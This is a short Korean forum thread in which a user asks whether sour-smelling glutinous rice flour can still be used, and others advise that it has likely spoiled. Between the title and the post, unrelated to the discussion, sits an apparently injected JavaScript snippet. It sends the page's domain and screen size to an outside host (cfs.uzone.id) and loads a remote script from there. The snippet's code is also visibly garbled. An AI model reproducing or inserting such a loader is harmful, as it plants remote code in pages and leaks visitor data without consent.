찹쌀가루가 쉰내가 나는데..

[꽃바람]

if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url "cfs.uzone.id/2fn7a2/request" "?id=1" "&enc=9UwkxLgY9" "¶ms=" "4TtHaUQnUEiP6K/c5C582ECSaLdwqSpn4oCNFAPQ+qlifLUzyjz2kbwFJtw1DQs55u8sLSA1Tw1ufP9D6qu+zcggHNAjUdyzHQ37QAZ6nCGB/N+aqWplMYv/PdmGkYaCiKJuYf12u9oafd3jwFEq0SdNAmFB2W8gpmmYIZ/JMhQ+mepJ7asqcKqFz+kwvPBoG0yHGZ7l/FkofQNjPJ2mWYEEdD+8H+rqSOxBbaZSRVaRuU4jZA18plStH3d8hk9fjRzMF5s7DrrIyEDvo3yAWWFrhZ3j80PgMCivY6MblQIlf63GCrGsQ5xYcEcl+8FVumB2pIHqub1olNp34oxKZt5KpG66rm9iyyBJ1A8FFcK+zc0rzN7zEqKCDY3LaNamPFuRYzYi2twkC2Od5yIGO+72+U5rMxQNW+HKzIvXZ3kP3Xty0lnxZzg//7i9QQuiRC1jSOrOt0WytG35LEFa2s/cV4Yu3E+JbUCBHKXIMHAdA8lx3XS+6KWkL3BD7yY0scjiojnX47eN8ya+2ZmF/E/Jz+6ccH43" "&idc_r=" idc_glo_r "&domain=" document.domain "&sw=" screen.width "&sh=" screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};냉장고 야채박스에 보관했었는데..

내부청소하느라 몇시간 꺼내놓았다가

다시 집어넣었는데..

며칠 후 열어보니, 쉰내가 납니다.

좋은 활용법이 있을까요?

그냥 다 버리기엔 너무 아깝고, 양도 많아서요..

[호박죽]

함 해보시죠. 단호박 반개로 실험.

[..]

쉰내나면 이미 상한걸걸요.

[꽃바람]

네에.. 까딱하면 단호박까지 버리게 될거 같아
머뭇거려지네요...
나무 밑에 거름 되라고 아까워도 버려야겠어요.